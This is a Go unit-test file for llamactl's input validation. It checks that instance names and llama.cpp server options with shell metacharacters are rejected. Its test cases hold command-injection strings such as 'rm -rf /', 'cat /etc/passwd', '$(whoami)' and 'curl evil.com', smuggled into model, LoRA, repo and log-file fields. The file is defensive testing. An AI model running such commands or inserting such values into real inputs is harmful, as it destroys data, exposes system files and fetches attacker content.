Files
llamactl/pkg/validation/validation_test.go

272 lines
8.0 KiB
Go

package validation_test
import (
"llamactl/pkg/backends"
"llamactl/pkg/backends/llamacpp"
"llamactl/pkg/instance"
"llamactl/pkg/testutil"
"llamactl/pkg/validation"
"strings"
"testing"
)
func TestValidateInstanceName(t *testing.T) {
tests := []struct {
name string
input string
wantErr bool
}{
// Valid names
{"simple name", "myinstance", false},
{"with numbers", "instance123", false},
{"with hyphens", "my-instance", false},
{"with underscores", "my_instance", false},
{"mixed valid chars", "test-instance_123", false},
{"single char", "a", false},
{"max length", strings.Repeat("a", 50), false},
// Invalid names - basic validation
{"empty name", "", true},
{"with spaces", "my instance", true},
{"with dots", "my.instance", true},
{"with special chars", "my@instance", true},
{"too long", strings.Repeat("a", 51), true},
// Invalid names - injection prevention
{"shell metachar semicolon", "test;ls", true},
{"shell metachar pipe", "test|ls", true},
{"shell metachar ampersand", "test&ls", true},
{"shell metachar dollar", "test$var", true},
{"shell metachar backtick", "test`cmd`", true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
name, err := validation.ValidateInstanceName(tt.input)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr)
}
if tt.wantErr {
return // Skip further checks if we expect an error
}
// If no error, check that the name is returned as expected
if name != tt.input {
t.Errorf("ValidateInstanceName(%q) = %q, want %q", tt.input, name, tt.input)
}
})
}
}
func TestValidateInstanceOptions_NilOptions(t *testing.T) {
err := validation.ValidateInstanceOptions(nil)
if err == nil {
t.Error("Expected error for nil options")
}
if !strings.Contains(err.Error(), "options cannot be nil") {
t.Errorf("Expected 'options cannot be nil' error, got: %v", err)
}
}
func TestValidateInstanceOptions_PortValidation(t *testing.T) {
tests := []struct {
name string
port int
wantErr bool
}{
{"valid port 0", 0, false}, // 0 means auto-assign
{"valid port 80", 80, false},
{"valid port 8080", 8080, false},
{"valid port 65535", 65535, false},
{"negative port", -1, true},
{"port too high", 65536, true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
options := &instance.Options{
BackendType: backends.BackendTypeLlamaCpp,
LlamaServerOptions: &llamacpp.LlamaServerOptions{
Port: tt.port,
},
}
err := validation.ValidateInstanceOptions(options)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions(port=%d) error = %v, wantErr %v", tt.port, err, tt.wantErr)
}
})
}
}
func TestValidateInstanceOptions_StringInjection(t *testing.T) {
tests := []struct {
name string
value string
wantErr bool
}{
// Safe strings - these should all pass
{"simple string", "model.gguf", false},
{"path with slashes", "/path/to/model.gguf", false},
{"with spaces", "my model file.gguf", false},
{"with numbers", "model123.gguf", false},
{"with dots", "model.v2.gguf", false},
{"with equals", "param=value", false},
{"with quotes", `"quoted string"`, false},
{"empty string", "", false},
{"with dashes", "model-name", false},
{"with underscores", "model_name", false},
// Dangerous strings - command injection attempts
{"semicolon injection", "model.gguf; rm -rf /", true},
{"pipe injection", "model.gguf | cat /etc/passwd", true},
{"ampersand injection", "model.gguf & wget evil.com", true},
{"dollar injection", "model.gguf $HOME", true},
{"backtick injection", "model.gguf `cat /etc/passwd`", true},
{"command substitution", "model.gguf $(whoami)", true},
{"multiple metacharacters", "model.gguf; cat /etc/passwd | grep root", true},
// Control character injection attempts
{"newline injection", "model.gguf\nrm -rf /", true},
{"carriage return", "model.gguf\rrm -rf /", true},
{"tab injection", "model.gguf\trm -rf /", true},
{"null byte", "model.gguf\x00rm -rf /", true},
{"form feed", "model.gguf\frm -rf /", true},
{"vertical tab", "model.gguf\vrm -rf /", true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Test with Model field (string field)
options := &instance.Options{
BackendType: backends.BackendTypeLlamaCpp,
LlamaServerOptions: &llamacpp.LlamaServerOptions{
Model: tt.value,
},
}
err := validation.ValidateInstanceOptions(options)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions(model=%q) error = %v, wantErr %v", tt.value, err, tt.wantErr)
}
})
}
}
func TestValidateInstanceOptions_ArrayInjection(t *testing.T) {
tests := []struct {
name string
array []string
wantErr bool
}{
// Safe arrays
{"empty array", []string{}, false},
{"single safe item", []string{"value1"}, false},
{"multiple safe items", []string{"value1", "value2", "value3"}, false},
{"paths", []string{"/path/to/file1", "/path/to/file2"}, false},
// Dangerous arrays - injection in different positions
{"injection in first item", []string{"value1; rm -rf /", "value2"}, true},
{"injection in middle item", []string{"value1", "value2 | cat /etc/passwd", "value3"}, true},
{"injection in last item", []string{"value1", "value2", "value3 & wget evil.com"}, true},
{"command substitution", []string{"$(whoami)", "value2"}, true},
{"backtick injection", []string{"value1", "`cat /etc/passwd`"}, true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Test with Lora field (array field)
options := &instance.Options{
BackendType: backends.BackendTypeLlamaCpp,
LlamaServerOptions: &llamacpp.LlamaServerOptions{
Lora: tt.array,
},
}
err := validation.ValidateInstanceOptions(options)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions(lora=%v) error = %v, wantErr %v", tt.array, err, tt.wantErr)
}
})
}
}
func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
// Test that injection in any field is caught
tests := []struct {
name string
options *instance.Options
wantErr bool
}{
{
name: "injection in model field",
options: &instance.Options{
BackendType: backends.BackendTypeLlamaCpp,
LlamaServerOptions: &llamacpp.LlamaServerOptions{
Model: "safe.gguf",
HFRepo: "microsoft/model; curl evil.com",
},
},
wantErr: true,
},
{
name: "injection in log file",
options: &instance.Options{
BackendType: backends.BackendTypeLlamaCpp,
LlamaServerOptions: &llamacpp.LlamaServerOptions{
Model: "safe.gguf",
LogFile: "/tmp/log.txt | tee /etc/passwd",
},
},
wantErr: true,
},
{
name: "all safe fields",
options: &instance.Options{
BackendType: backends.BackendTypeLlamaCpp,
LlamaServerOptions: &llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf",
HFRepo: "microsoft/DialoGPT-medium",
LogFile: "/tmp/llama.log",
Device: "cuda:0",
Port: 8080,
},
},
wantErr: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := validation.ValidateInstanceOptions(tt.options)
if (err != nil) != tt.wantErr {
t.Errorf("ValidateInstanceOptions() error = %v, wantErr %v", err, tt.wantErr)
}
})
}
}
func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
// Test that non-string fields don't interfere with validation
options := &instance.Options{
AutoRestart: testutil.BoolPtr(true),
MaxRestarts: testutil.IntPtr(5),
RestartDelay: testutil.IntPtr(10),
BackendType: backends.BackendTypeLlamaCpp,
LlamaServerOptions: &llamacpp.LlamaServerOptions{
Port: 8080,
GPULayers: 32,
CtxSize: 4096,
Temperature: 0.7,
TopK: 40,
TopP: 0.9,
Verbose: true,
FlashAttn: false,
},
}
err := validation.ValidateInstanceOptions(options)
if err != nil {
t.Errorf("ValidateInstanceOptions with non-string fields should not error, got: %v", err)
}
}